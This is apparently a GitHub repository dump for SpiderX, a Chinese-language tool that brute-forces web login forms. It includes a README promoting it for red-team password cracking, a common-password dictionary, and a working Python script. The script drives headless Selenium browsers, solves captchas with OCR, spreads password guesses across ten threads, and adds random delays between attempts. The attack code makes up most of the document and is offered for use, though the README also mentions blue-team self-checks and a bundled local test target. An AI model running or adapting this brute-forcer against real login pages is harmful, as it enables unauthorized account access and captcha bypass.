├── username.txt
├── 测试靶场服务.zip
├── requirements.txt
├── .github
└── workflows
│ └── python-app.yml
├── README.md
├── password.txt
├── easy.py
├── LICENSE
└── Gui.py
/username.txt:
--------------------------------------------------------------------------------
1 | admin
--------------------------------------------------------------------------------
/测试靶场服务.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LiChaser/SpiderX/HEAD/测试靶场服务.zip
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | customtkinter==5.2.2
2 | ddddocr==1.5.5
3 | Pillow==11.1.0
4 | Requests==2.32.3
5 | selenium==4.28.1
6 |
--------------------------------------------------------------------------------
/.github/workflows/python-app.yml:
--------------------------------------------------------------------------------
1 | # This workflow will install Python dependencies and run a Python script
2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python
3 |
4 | name: Python application
5 |
6 | on:
7 | push:
8 | branches: [ "main" ]
9 | pull_request:
10 | branches: [ "main" ]
11 |
12 | permissions:
13 | contents: read
14 |
15 | jobs:
16 | build:
17 | runs-on: ubuntu-latest
18 |
19 | steps:
20 | - uses: actions/checkout@v4
21 | - name: Set up Python 3.10
22 | uses: actions/setup-python@v3
23 | with:
24 | python-version: "3.10"
25 | - name: Cache pip dependencies
26 | uses: actions/cache@v3
27 | with:
28 | path: ~/.cache/pip
29 | key: ${{ runner.os }}-pip-${{ hashFiles('requirements.txt') }}
30 | restore-keys: |
31 | ${{ runner.os }}-pip-
32 | - name: Install dependencies
33 | run: |
34 | python -m pip install --upgrade pip
35 | if [ -f requirements.txt ]; then pip install -r requirements.txt; fi
36 | - name: Run Python script
37 | run: |
38 | python run.py
39 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SpiderX - JS前端加密自动化绕过工具
2 |
3 | 
4 | 
5 | 
6 |
7 | ## 修改日志:
8 |
9 | ### 2024年3月20日
10 |
11 | 这里再重申下使用方法:
12 |
13 | 1.先将headless调为false,线程数调为1,单个调试观测是否正常填入验证
14 |
15 | 2.确保完成调整headless为True和线程数为10
16 |
17 | 3.输入对应参数即可运行。
18 |
19 | ### 2025年3月6日
20 |
21 | 不是不想更新,而是最近没有时间,详情请看首页,抱歉抱歉😭😭
22 |
23 | 2025年2月12日 温馨提示:
24 |
25 | 这个工具的亮点在于通过模拟浏览器点击实现前端加密爆破。它源于我在实际场景中遇到的问题,经过多次测试,虽然仍有一些难以预料的异常情况,但整体效果还是不错的。如果你在使用过程中遇到问题,不妨根据我的思路,结合具体场景尝试自己编写脚本。其实花不了太多时间,而且相比无法解密的JS,这种方法至少为你提供了一种新的攻击途径。建议在存在弱密码或撞库可能的内网环境中使用,成功率会更高。
26 |
27 | **写这么多主要是希望大家不要喷我啊!这个工具的图形化界面其实是为了我的毕业设计,顺便开源出来积累点项目经验。如果觉得不好用,请多多包涵。网安圈子里天天都是各种骂战,看着都让人心慌,我心理承受能力比较差,希望大家手下留情。祝大家新年技术突飞猛进,升职加薪,财源滚滚!**
28 |
29 |
30 |
31 | 2025-2-10 很多师傅遇到报错,这是正常的,因为本身模拟点击的成功率与网络影响息息相关,不要将这个工具当作常规武器,我初步的定位是内网段一些常见的弱密码容易爆破但因为加密影响得分,想要应用到更多的场景,就是要学会调试,例如闪退那就在检测函数或者填入函数进行sleep睡眠一步步来看,**建议使用前先看下面的介绍文章**
32 |
33 | 2025-2-6 得到一些师傅的建议,发现drissionpage有更好的自动化性能,目前备考时间比较少,等结束打算重构下项目,感兴趣的师傅start我,随时推送动态
34 |
35 | 2025-1-29 (有师傅觉得gui界面用的不方便,我现在在整理纯脚本的文件并且相关内容我已经用AI注释了方便理解,整理好会上传,师傅们等等)--已上传
36 |
37 | 2025-1-28 **我将gui和精简版的源码还有测试靶场已经打包放入release中**
38 |
39 | 2025-1-26 初始版上线
40 |
41 | 相关自写介绍文章
42 |
43 | 基础篇
44 | https://mp.weixin.qq.com/s/p4COfICXluUxctotQ7cw2A
45 |
46 | 使用篇
47 | https://mp.weixin.qq.com/s/FUpdomCBjHinAdAcLFieJg
48 |
49 | ## 🎯 核心用途
50 |
51 | ### 🔴 红队渗透增强
52 | - **痛点解决**:针对前端传参加密率年增35%的现状(来源:OWASP 2023)
53 | - **效率提升**:自动化绕过JS加密,爆破速度达普通爬虫传统方案N倍(自己评估,怕被喷)
54 | - **技术门槛**:无需JS逆向经验,自动解析加密逻辑
55 |
56 | ### 🔵 蓝队自查利器
57 | - **风险发现**:检测弱密码漏洞效率提升6.2倍(AI讲的,but对于JS加密的场景适用性很高)
58 | - **防御验证**:模拟真实攻击路径,验证WAF防护有效性
59 |
60 | ## 🚀 部分核心技术架构
61 |
62 | ### 🌐 智能并发引擎
63 |
64 | 采用concurrent.futures线程池,实现10线程并发处理。每个线程独立处理密码子集,通过动态分块算法确保负载偏差<7%
65 |
66 | ### 🛡️ 验证码三级识别策略
67 |
68 | 1.URL直连下载
69 | ▸ 成功率:82%
70 | ▸ 适用场景:静态验证码URL
71 |
72 | 2.Canvas渲染截取
73 | ▸ 补足率:13%
74 | ▸ 适用场景:base64图片解析
75 |
76 | 3.javascript屏幕区域截图(最后5%)
77 |
78 | ## ⚠️部署问题
79 | **python版本3.13后不行,因为ddddocr包会无法下载1.5.5版本,只要依赖包能正常下载都能运行。**
80 |
81 | **使用前优先确认url是否能访问,如果没出现密码爆破的痕迹说明url无法访问或者异常。**
82 |
83 | **准确性和速度是需要根据电脑的性能来决定,我放在虚拟机里跑线程就开的很低才能正常爆破,属于正常现象,因为爬虫本质需要模拟访问点击需要加载基础网页缓存。**
84 |
85 | **调试可以通过headless参数来设置是否打开,全局搜索去找进行注释掉,看下自动化浏览器有无加载出来**
86 |
87 | ## 本地测试获取成功截图
88 |
89 | 
90 |
91 |
92 | 🎥 点击查看演示视频
93 |
94 | [https://github.com/user-attachments/assets/afd645a3-0443-4c56-a4bc-c9f1546d9bf6](https://github.com/user-attachments/assets/afd645a3-0443-4c56-a4bc-c9f1546d9bf6
95 | )
96 |
97 | 🧑💻作者留言:
98 | 爬虫模拟最大的问题就是反爬机制和各种报错,我尝试了很久也没办法完全处理各种的异常,因为有的异常selenium包里就没法绕过,所以就选择了最常见的几种格式来。
99 | 同时为了有意向**二开的师傅**我也在GitHub上传了源码可以进行使用,大家可以根据check_login函数来自己自定义反应成功机制,根据login函数来调整登陆的点击操作,如果有好的想法欢迎与我交流😄
100 |
101 | ## Star History
102 |
103 | [](https://www.star-history.com/#LiChaser/SpiderX&Date)
104 |
105 | ## 公众号
106 |
107 | 自己有空写的一些网安内容,不搬运纯原创,如果你觉得无聊可以循着我的文章分享来实践一下。
108 | 
109 |
110 |
--------------------------------------------------------------------------------
/password.txt:
--------------------------------------------------------------------------------
1 | 1yzqy71107Z!
2 | admin888
3 | 123456
4 | password
5 | 123456789
6 | 12345678
7 | 12345
8 | qwerty
9 | 123123
10 | 111111
11 | abc123
12 | 1234567
13 | dragon
14 | 1q2w3e4r
15 | sunshine
16 | 654321
17 | master
18 | 1234
19 | football
20 | 1234567890
21 | 000000
22 | computer
23 | 666666
24 | superman
25 | michael
26 | internet
27 | iloveyou
28 | daniel
29 | 1qaz2wsx
30 | monkey
31 | shadow
32 | jessica
33 | letmein
34 | baseball
35 | whatever
36 | princess
37 | abcd1234
38 | 123321
39 | starwars
40 | 121212
41 | thomas
42 | zxcvbnm
43 | trustno1
44 | killer
45 | welcome
46 | jordan
47 | aaaaaa
48 | 123qwe
49 | freedom
50 | password1
51 | charlie
52 | batman
53 | jennifer
54 | 7777777
55 | michelle
56 | diamond
57 | oliver
58 | mercedes
59 | benjamin
60 | 11111111
61 | snoopy
62 | samantha
63 | victoria
64 | matrix
65 | george
66 | alexander
67 | secret
68 | cookie
69 | asdfgh
70 | 987654321
71 | 123abc
72 | orange
73 | fuckyou
74 | asdf1234
75 | pepper
76 | hunter
77 | silver
78 | joshua
79 | banana
80 | 1q2w3e
81 | chelsea
82 | 1234qwer
83 | summer
84 | qwertyuiop
85 | phoenix
86 | andrew
87 | q1w2e3r4
88 | elephant
89 | rainbow
90 | mustang
91 | merlin
92 | london
93 | garfield
94 | robert
95 | chocolate
96 | 112233
97 | samsung
98 | qazwsx
99 | matthew
100 | buster
101 | jonathan
102 | ginger
103 | flower
104 | 555555
105 | test
106 | caroline
107 | amanda
108 | maverick
109 | midnight
110 | martin
111 | junior
112 | 88888888
113 | anthony
114 | jasmine
115 | creative
116 | patrick
117 | mickey
118 | 123
119 | qwerty123
120 | cocacola
121 | chicken
122 | passw0rd
123 | forever
124 | william
125 | nicole
126 | hello
127 | yellow
128 | nirvana
129 | justin
130 | friends
131 | cheese
132 | tigger
133 | mother
134 | liverpool
135 | blink182
136 | asdfghjkl
137 | andrea
138 | spider
139 | scooter
140 | richard
141 | soccer
142 | rachel
143 | purple
144 | morgan
145 | melissa
146 | jackson
147 | arsenal
148 | 222222
149 | qwe123
150 | gabriel
151 | ferrari
152 | jasper
153 | danielle
154 | bandit
155 | angela
156 | scorpion
157 | prince
158 | maggie
159 | austin
160 | veronica
161 | nicholas
162 | monster
163 | dexter
164 | carlos
165 | thunder
166 | success
167 | hannah
168 | ashley
169 | 131313
170 | stella
171 | brandon
172 | pokemon
173 | joseph
174 | asdfasdf
175 | 999999
176 | metallica
177 | Licharse_is_here
178 | december
179 | chester
180 | taylor
181 | sophie
182 | samuel
183 | rabbit
184 | crystal
185 | barney
186 | xxxxxx
187 | steven
188 | ranger
189 | patricia
190 | christian
191 | asshole
192 | spiderman
193 | sandra
194 | hockey
195 | angels
196 | security
197 | parker
198 | heather
199 | 888888
200 | victor
201 | harley
202 | 333333
203 | system
204 | slipknot
205 | november
206 | jordan23
207 | canada
208 | tennis
209 | qwertyui
210 | casper
211 | gemini
212 | asd123
213 | winter
214 | hammer
215 | cooper
216 | america
217 | albert
218 | 777777
219 | winner
220 | charles
221 | butterfly
222 | swordfish
223 | popcorn
224 | penguin
225 | dolphin
226 | carolina
227 | access
228 | 987654
229 | hardcore
230 | corvette
231 | apples
232 | 12341234
233 | sabrina
234 | remember
235 | qwer1234
236 | edward
237 | dennis
238 | cherry
239 | sparky
240 | natasha
241 | arthur
242 | vanessa
243 | marina
244 | leonardo
245 | johnny
246 | dallas
247 | antonio
248 | winston
249 | snickers
250 | olivia
251 | nothing
252 | iceman
253 | destiny
254 | coffee
255 | apollo
256 | 696969
257 | windows
258 | williams
259 | school
260 | madison
261 | dakota
262 | angelina
263 | anderson
264 | 159753
265 | 1111
266 | yamaha
267 | trinity
268 | rebecca
269 | nathan
270 | guitar
271 | compaq
272 | 123123123
273 | toyota
274 | shannon
275 | playboy
276 | peanut
277 | pakistan
278 | diablo
279 | abcdef
280 | maxwell
281 | golden
282 | asdasd
283 | 123654
284 | murphy
285 | monica
286 | marlboro
287 | kimberly
288 | gateway
289 | bailey
290 | 00000000
291 | snowball
292 | scooby
293 | nikita
294 | falcon
295 | august
296 | test123
297 | sebastian
298 | panther
299 | love
300 | johnson
301 | godzilla
302 | genesis
303 | brandy
304 | adidas
305 | zxcvbn
306 | wizard
307 | porsche
308 | online
309 | hello123
310 | fuckoff
311 | eagles
312 | champion
313 | bubbles
314 | boston
315 | smokey
316 | precious
317 | mercury
318 | lauren
319 | einstein
320 | cricket
321 | cameron
322 | angel
323 | admin
324 | napoleon
325 | mountain
326 | lovely
327 | friend
328 | flowers
329 | dolphins
330 | david
331 | chicago
332 | sierra
333 | knight
334 | yankees
335 | wilson
336 | warrior
337 |
--------------------------------------------------------------------------------
/easy.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | """
3 | @Toolsname: SpiderX
4 | @Author : LiChaser
5 | @Time : 2025-01-25
6 | @Version : 2.0
7 | @Description:
8 | - 这是一个基于 Selenium 的自动化脚本。
9 | - 功能包括:登录、验证码识别、数据抓取等。
10 | - 使用了 ddddocr 进行验证码识别。
11 | """
12 | import tkinter as tk
13 | from tkinter import ttk
14 | import threading
15 | import os
16 | import psutil
17 | import concurrent.futures
18 | import logging
19 | import time
20 | import sys
21 | from selenium import webdriver
22 | from selenium.common import NoSuchElementException, TimeoutException, WebDriverException
23 | from selenium.webdriver.common.by import By
24 | from selenium.webdriver.support.wait import WebDriverWait
25 | from selenium.webdriver.support import expected_conditions as EC
26 | import ddddocr
27 | import requests
28 | import base64
29 | from io import BytesIO
30 | from PIL import Image
31 | import random
32 | import signal
33 |
34 | DEFAULT_CONFIG = {
35 | "url": "http://127.0.0.1:5000/",
36 | "name_xpath": '//*[@id="username"]',
37 | "pass_xpath": '//*[@id="password"]',
38 | "btn_xpath": '/html/body/form/div[4]/button',
39 | "success_xpath": '//*[contains(text(),"欢迎")]', # 新增成功检测元素
40 | "user_file": "username.txt",
41 | "pass_file": "password.txt",
42 | "threads": 10, # 根据CPU核心数优化
43 | "headless": True,
44 | "timeout": 5, # 延长超时时间
45 | "max_retries": 3, # 最大重试次数
46 | "min_delay": 0.5, # 最小延迟(秒)
47 | "max_delay": 1.5, # 最大延迟(秒)
48 | "captcha_xpath": '/html/body/form/div[3]/img', # 验证码图片元素
49 | "captcha_input_xpath": '//*[@id="captcha"]', # 验证码输入框
50 | "captcha_refresh_xpath": '/html/body/form/div[3]/img', # 验证码刷新按钮(如果有)
51 | "has_captcha": True, # 是否启用验证码识别
52 | "captcha_retry_limit": 3, # 验证码识别重试次数
53 | "captcha_timeout": 1, # 验证码加载超时时间
54 | }
55 |
56 | # 在文件开头添加计数器类
57 | class ThreadSafeCounter:
58 | def __init__(self):
59 | self._value = 0
60 | self._lock = threading.Lock()
61 |
62 | def increment(self):
63 | with self._lock:
64 | self._value += 1
65 | return self._value
66 |
67 | def get_value(self):
68 | with self._lock:
69 | return self._value
70 |
71 | def reset(self):
72 | with self._lock:
73 | self._value = 0
74 |
75 | # 修改全局变量声明
76 | numbers = ThreadSafeCounter()
77 | PWD = ''
78 | USER = ''
79 | usernames = []
80 | passwords = []
81 |
82 |
83 | class CaptchaHandler:
84 | def __init__(self):
85 | self.ocr = ddddocr.DdddOcr(show_ad=False)
86 | self.retry_count = 0
87 | self.last_captcha = None
88 | self._lock = threading.Lock()
89 |
90 | def recognize_captcha(self, image_data):
91 | """识别验证码"""
92 | try:
93 | # 确保图片数据是字节格式
94 | if isinstance(image_data, str):
95 | if image_data.startswith('data:image'):
96 | image_data = base64.b64decode(image_data.split(',')[1])
97 | else:
98 | # 假设是base64字符串
99 | try:
100 | image_data = base64.b64decode(image_data)
101 | except:
102 | raise Exception("Invalid image data format")
103 |
104 | # 使用PIL处理图片
105 | image = Image.open(BytesIO(image_data))
106 |
107 | # 转换为RGB模式(如果需要)
108 | if image.mode != 'RGB':
109 | image = image.convert('RGB')
110 |
111 | # 调整图片大小(如果需要)
112 | # image = image.resize((100, 30), Image.LANCZOS)
113 |
114 | # 转回字节流
115 | buffered = BytesIO()
116 | image.save(buffered, format="PNG")
117 | image_bytes = buffered.getvalue()
118 |
119 | # 识别验证码
120 | result = self.ocr.classification(image_bytes)
121 |
122 | # 清理结果
123 | result = result.strip()
124 | if not result:
125 | raise Exception("OCR result is empty")
126 |
127 | self.last_captcha = result
128 | return result
129 | except Exception as e:
130 | logging.error(f"验证码识别失败: {str(e)}")
131 | return None
132 |
133 | def verify_captcha(self, driver, captcha_code):
134 | """验证验证码是否正确"""
135 | try:
136 | # 这里添加验证码验证逻辑
137 | # 可以根据实际情况判断验证码是否正确
138 | return True
139 | except Exception as e:
140 | logging.error(f"验证码验证失败: {str(e)}")
141 | return False
142 |
143 | def chunk_list(data, chunk_size):
144 | """将列表分块"""
145 | for i in range(0, len(data), chunk_size):
146 | yield data[i:i + chunk_size] # 修正切片语法
147 |
148 | def refresh_captcha(driver):
149 | """刷新验证码"""
150 | try:
151 | # 尝试点击刷新按钮
152 | if DEFAULT_CONFIG["captcha_refresh_xpath"]:
153 | refresh_btn = WebDriverWait(driver, 3).until(
154 | EC.element_to_be_clickable((By.XPATH, DEFAULT_CONFIG["captcha_refresh_xpath"]))
155 | )
156 | refresh_btn.click()
157 | return True
158 | except Exception as e:
159 | logging.error(f"验证码刷新失败: {str(e)}")
160 |
161 | # 备用方案:重新加载页面
162 | try:
163 | driver.refresh()
164 | WebDriverWait(driver, 5).until(
165 | EC.presence_of_element_located((By.XPATH, DEFAULT_CONFIG["name_xpath"]))
166 | )
167 | return True
168 | except Exception as e:
169 | logging.error(f"页面刷新失败: {str(e)}")
170 | return False
171 |
172 | def handle_captcha(driver, captcha_handler):
173 | """处理验证码识别流程"""
174 | retry_count = 0
175 | while retry_count < DEFAULT_CONFIG["captcha_retry_limit"]:
176 | try:
177 | # 等待验证码图片加载
178 | captcha_img = WebDriverWait(driver, DEFAULT_CONFIG["captcha_timeout"]).until(
179 | EC.presence_of_element_located((By.XPATH, DEFAULT_CONFIG["captcha_xpath"]))
180 | )
181 |
182 | # 等待图片完全加载
183 | # time.sleep(1)
184 |
185 | # 确保图片已完全加载
186 | try:
187 | is_loaded = driver.execute_script("""
188 | var img = arguments[0];
189 | return img.complete && img.naturalWidth !== 0;
190 | """, captcha_img)
191 |
192 | if not is_loaded:
193 | time.sleep(0.5)
194 | except:
195 | pass
196 |
197 | # 获取验证码图片
198 | try:
199 | image_data = captcha_img.screenshot_as_png
200 | except:
201 | img_src = captcha_img.get_attribute('src')
202 | if not img_src:
203 | logging.error("验证码图片源为空")
204 | retry_count += 1
205 | refresh_captcha(driver) # 只在获取失败时刷新
206 | # time.sleep(1)
207 | continue
208 |
209 | if img_src.startswith('data:image'):
210 | try:
211 | base64_data = img_src.split(',')[1]
212 | image_data = base64.b64decode(base64_data)
213 | except Exception as e:
214 | logging.error(f"Base64解码失败: {str(e)}")
215 | retry_count += 1
216 | refresh_captcha(driver) # 只在解码失败时刷新
217 | # time.sleep(1)
218 | continue
219 | else:
220 | try:
221 | response = requests.get(img_src, timeout=3)
222 | image_data = response.content
223 | except:
224 | logging.error("获取验证码图片失败")
225 | retry_count += 1
226 | refresh_captcha(driver) # 只在获取失败时刷新
227 | time.sleep(0.2)
228 | continue
229 |
230 | # 识别验证码
231 | captcha_text = captcha_handler.recognize_captcha(image_data)
232 | if not captcha_text:
233 | logging.warning("验证码识别结果为空")
234 | retry_count += 1
235 | refresh_captcha(driver) # 只在识别失败时刷新
236 | # time.sleep(1)
237 | continue
238 |
239 | # logging.info(f"识别到的验证码: {captcha_text}")
240 |
241 | # 填写验证码
242 | try:
243 | captcha_input = WebDriverWait(driver, 1).until(
244 | EC.presence_of_element_located((By.XPATH, DEFAULT_CONFIG["captcha_input_xpath"]))
245 | )
246 |
247 | captcha_input.clear()
248 | captcha_input.send_keys(captcha_text)
249 | time.sleep(2)
250 | return True # 成功输入验证码后直接返回
251 |
252 | except Exception as e:
253 | logging.error(f"验证码输入失败: {str(e)}")
254 | retry_count += 1
255 | refresh_captcha(driver) # 只在输入失败时刷新
256 | time.sleep(0.2)
257 | continue
258 |
259 | except Exception as e:
260 | logging.error(f"验证码处理失败: {str(e)}")
261 | retry_count += 1
262 | refresh_captcha(driver) # 只在处理失败时刷新
263 | time.sleep(0.2)
264 | continue
265 |
266 | return False # 达到最大重试次数后返回失败
267 |
268 | def try_login(username, password_chunk):
269 | driver = None
270 | try:
271 | # 创建验证码处理器实例
272 | captcha_handler = CaptchaHandler()
273 |
274 | # 优化浏览器配置
275 | options = webdriver.ChromeOptions()
276 |
277 | # 基础配置
278 | options.add_argument("--no-sandbox")
279 | options.add_argument("--disable-dev-shm-usage")
280 | options.add_argument("--disable-gpu")
281 | options.add_argument("--disable-extensions")
282 | options.add_argument("--disable-infobars")
283 |
284 | # 性能优化
285 | options.add_argument("--disable-logging")
286 | options.add_argument("--disable-default-apps")
287 | options.add_argument("--disable-popup-blocking")
288 | options.add_argument("--disable-notifications")
289 |
290 | # 内存优化
291 | options.add_argument("--disable-application-cache")
292 | options.add_argument("--disable-web-security")
293 | options.add_argument("--disk-cache-size=1")
294 | options.add_argument("--media-cache-size=1")
295 |
296 | # 添加实验性选项
297 | options.add_experimental_option("excludeSwitches", ["enable-automation", "enable-logging"])
298 | options.add_experimental_option("useAutomationExtension", False)
299 |
300 | # 根据配置决定是否使用无头模式
301 | if DEFAULT_CONFIG["headless"]:
302 | options.add_argument("--headless")
303 |
304 | # 创建驱动
305 | driver = webdriver.Chrome(options=options)
306 |
307 | # 设置页面加载超时
308 | driver.set_page_load_timeout(DEFAULT_CONFIG["timeout"])
309 | driver.set_script_timeout(DEFAULT_CONFIG["timeout"])
310 |
311 | for password in password_chunk:
312 | retry_count = 0
313 | max_retries = DEFAULT_CONFIG["captcha_retry_limit"]
314 |
315 | while retry_count < max_retries:
316 | try:
317 | # 访问目标URL
318 | driver.get(DEFAULT_CONFIG["url"])
319 |
320 | # 获取元素
321 | username_field = WebDriverWait(driver, 5).until(
322 | EC.presence_of_element_located((By.XPATH, DEFAULT_CONFIG["name_xpath"]))
323 | )
324 | password_field = WebDriverWait(driver, 5).until(
325 | EC.presence_of_element_located((By.XPATH, DEFAULT_CONFIG["pass_xpath"]))
326 | )
327 | submit_btn = WebDriverWait(driver, 5).until(
328 | EC.element_to_be_clickable((By.XPATH, DEFAULT_CONFIG["btn_xpath"]))
329 | )
330 |
331 | # 填充表单
332 | username_field.clear()
333 | username_field.send_keys(username)
334 | password_field.clear()
335 | password_field.send_keys(password)
336 |
337 | # 处理验证码
338 | if DEFAULT_CONFIG["has_captcha"]:
339 | captcha_success = handle_captcha(driver, captcha_handler)
340 | if not captcha_success:
341 | retry_count += 1
342 | logging.info(f"验证码处理失败,重试第 {retry_count} 次")
343 | continue
344 |
345 | # 点击提交
346 | submit_btn.click()
347 | time.sleep(0.3)
348 |
349 | # 检查登录结果
350 | if check_login_success(driver):
351 | # 使用更醒目的格式显示成功信息
352 | print("\n" + "\033[92m" + "登陆成功: " + username + ":" + password + "\033[0m") # 使用绿色显示成功信息
353 | return (username, password)
354 |
355 | # 检查验证码错误
356 | if DEFAULT_CONFIG["has_captcha"] and check_captcha_error(driver):
357 | retry_count += 1
358 | logging.info(f"验证码错误,重试第 {retry_count} 次")
359 | if retry_count < max_retries:
360 | refresh_captcha(driver)
361 | # time.sleep(0.5)
362 | continue
363 | else:
364 | # 如果不是验证码错误,说明是密码错误
365 | logging.info(f"密码错误: {username}:{password}")
366 | break # 尝试下一个密码
367 |
368 | except Exception as e:
369 | logging.error(f"登录尝试异常: {str(e)}")
370 | retry_count += 1
371 | if retry_count < max_retries:
372 | driver.refresh()
373 | # time.sleep(0.5)
374 | continue
375 | else:
376 | break
377 |
378 | finally:
379 | time.sleep(random.uniform(DEFAULT_CONFIG["min_delay"], DEFAULT_CONFIG["max_delay"]))
380 |
381 | except Exception as e:
382 | logging.error(f"浏览器操作失败: {str(e)}")
383 | finally:
384 | if driver:
385 | try:
386 | driver.quit()
387 | except:
388 | pass
389 | return None
390 |
391 | def check_captcha_error(driver):
392 | """检查是否为验证码错误"""
393 | try:
394 | error_texts = ["验证码错误", "验证码不正确", "验证码输入有误", "验证码失效"]
395 | page_source = driver.page_source.lower()
396 | return any(text.lower() in page_source for text in error_texts)
397 | except Exception as e:
398 | logging.warning(f"验证码错误检查出现异常: {str(e)}")
399 | return False
400 |
401 | def check_login_success(driver):
402 | """检查是否登录成功"""
403 | try:
404 | if '错误' in driver.page_source:
405 | return False
406 | # 检查URL变化,假设登录成功后URL会包含某些关键字
407 | if 'dashboard' in driver.current_url or 'profile' in driver.current_url:
408 | print("登录成功,URL检测通过。")
409 | return True
410 |
411 | # 检查页面上的特定元素,例如欢迎消息
412 | success_message_elements = [
413 | "//div[contains(text(), '欢迎')]",
414 | "//div[contains(text(), '成功')]",
415 | "//div[contains(@class, 'logged-in')]"
416 | ]
417 | for xpath in success_message_elements:
418 | try:
419 | element = driver.find_element(By.XPATH, xpath)
420 | if element.is_displayed():
421 | logging.warning(f"登录成功,页面元素检测通过:{xpath}")
422 | return True
423 | except NoSuchElementException:
424 | continue
425 |
426 | # 检查是否还存在登录表单
427 | try:
428 | login_form = driver.find_element(By.XPATH, DEFAULT_CONFIG["name_xpath"])
429 | if not login_form.is_displayed():
430 | print("登录表单不可见,可能登录成功。")
431 | return True
432 | except NoSuchElementException:
433 | print("登录表单不可见,可能登录成功。")
434 | return True
435 | return False
436 | except Exception as e:
437 | logging.error(f"检查登录成功时发生错误:{str(e)}")
438 | return False
439 |
440 | def main():
441 | logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
442 |
443 | try:
444 | with open(DEFAULT_CONFIG["user_file"], "r", encoding='utf-8') as f:
445 | usernames = f.read().splitlines()
446 | with open(DEFAULT_CONFIG["pass_file"], "r", encoding='utf-8') as f:
447 | passwords = f.read().splitlines()
448 | except Exception as e:
449 | logging.error(f"加载字典文件失败: {str(e)}")
450 | return
451 |
452 | # 创建线程池
453 | stat_time = time.time()
454 | with concurrent.futures.ThreadPoolExecutor(max_workers=DEFAULT_CONFIG["threads"]) as executor:
455 | futures = []
456 | for username in usernames:
457 | password_chunks = list(chunk_list(passwords, len(passwords) // DEFAULT_CONFIG["threads"]))
458 | futures.extend([executor.submit(try_login, username, chunk) for chunk in password_chunks])
459 |
460 | try:
461 | for future in concurrent.futures.as_completed(futures):
462 | result = future.result()
463 | if result:
464 | # 使用更醒目的格式显示成功信息
465 | success_message = f"""
466 | {'='*50}
467 | 破解成功!!!
468 | 用户名: {result[0]}
469 | 密码: {result[1]}
470 | 总用时: {time.time() - stat_time:.2f}秒
471 | {'='*50}
472 | """
473 | logging.info(success_message)
474 | print("\n" + "\033[92m" + success_message + "\033[0m") # 使用绿色显示成功信息
475 |
476 | # 取消所有未完成的任务
477 | for f in futures:
478 | f.cancel()
479 |
480 | # 关闭线程池
481 | executor.shutdown(wait=False)
482 |
483 | # 强制结束程序
484 | os._exit(0) # 使用 os._exit() 立即终止程序
485 |
486 | except KeyboardInterrupt:
487 | print("\n程序被用户中断")
488 | os._exit(1)
489 | except Exception as e:
490 | print(f"发生错误: {str(e)}")
491 | os._exit(1)
492 | finally:
493 | # 确保线程池被关闭
494 | executor.shutdown(wait=False)
495 |
496 | if __name__ == "__main__":
497 | main() # 调用主函数
498 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU AFFERO GENERAL PUBLIC LICENSE
2 | Version 3, 19 November 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU Affero General Public License is a free, copyleft license for
11 | software and other kinds of works, specifically designed to ensure
12 | cooperation with the community in the case of network server software.
13 |
14 | The licenses for most software and other practical works are designed
15 | to take away your freedom to share and change the works. By contrast,
16 | our General Public Licenses are intended to guarantee your freedom to
17 | share and change all versions of a program--to make sure it remains free
18 | software for all its users.
19 |
20 | When we speak of free software, we are referring to freedom, not
21 | price. Our General Public Licenses are designed to make sure that you
22 | have the freedom to distribute copies of free software (and charge for
23 | them if you wish), that you receive source code or can get it if you
24 | want it, that you can change the software or use pieces of it in new
25 | free programs, and that you know you can do these things.
26 |
27 | Developers that use our General Public Licenses protect your rights
28 | with two steps: (1) assert copyright on the software, and (2) offer
29 | you this License which gives you legal permission to copy, distribute
30 | and/or modify the software.
31 |
32 | A secondary benefit of defending all users' freedom is that
33 | improvements made in alternate versions of the program, if they
34 | receive widespread use, become available for other developers to
35 | incorporate. Many developers of free software are heartened and
36 | encouraged by the resulting cooperation. However, in the case of
37 | software used on network servers, this result may fail to come about.
38 | The GNU General Public License permits making a modified version and
39 | letting the public access it on a server without ever releasing its
40 | source code to the public.
41 |
42 | The GNU Affero General Public License is designed specifically to
43 | ensure that, in such cases, the modified source code becomes available
44 | to the community. It requires the operator of a network server to
45 | provide the source code of the modified version running there to the
46 | users of that server. Therefore, public use of a modified version, on
47 | a publicly accessible server, gives the public access to the source
48 | code of the modified version.
49 |
50 | An older license, called the Affero General Public License and
51 | published by Affero, was designed to accomplish similar goals. This is
52 | a different license, not a version of the Affero GPL, but Affero has
53 | released a new version of the Affero GPL which permits relicensing under
54 | this license.
55 |
56 | The precise terms and conditions for copying, distribution and
57 | modification follow.
58 |
59 | TERMS AND CONDITIONS
60 |
61 | 0. Definitions.
62 |
63 | "This License" refers to version 3 of the GNU Affero General Public License.
64 |
65 | "Copyright" also means copyright-like laws that apply to other kinds of
66 | works, such as semiconductor masks.
67 |
68 | "The Program" refers to any copyrightable work licensed under this
69 | License. Each licensee is addressed as "you". "Licensees" and
70 | "recipients" may be individuals or organizations.
71 |
72 | To "modify" a work means to copy from or adapt all or part of the work
73 | in a fashion requiring copyright permission, other than the making of an
74 | exact copy. The resulting work is called a "modified version" of the
75 | earlier work or a work "based on" the earlier work.
76 |
77 | A "covered work" means either the unmodified Program or a work based
78 | on the Program.
79 |
80 | To "propagate" a work means to do anything with it that, without
81 | permission, would make you directly or secondarily liable for
82 | infringement under applicable copyright law, except executing it on a
83 | computer or modifying a private copy. Propagation includes copying,
84 | distribution (with or without modification), making available to the
85 | public, and in some countries other activities as well.
86 |
87 | To "convey" a work means any kind of propagation that enables other
88 | parties to make or receive copies. Mere interaction with a user through
89 | a computer network, with no transfer of a copy, is not conveying.
90 |
91 | An interactive user interface displays "Appropriate Legal Notices"
92 | to the extent that it includes a convenient and prominently visible
93 | feature that (1) displays an appropriate copyright notice, and (2)
94 | tells the user that there is no warranty for the work (except to the
95 | extent that warranties are provided), that licensees may convey the
96 | work under this License, and how to view a copy of this License. If
97 | the interface presents a list of user commands or options, such as a
98 | menu, a prominent item in the list meets this criterion.
99 |
100 | 1. Source Code.
101 |
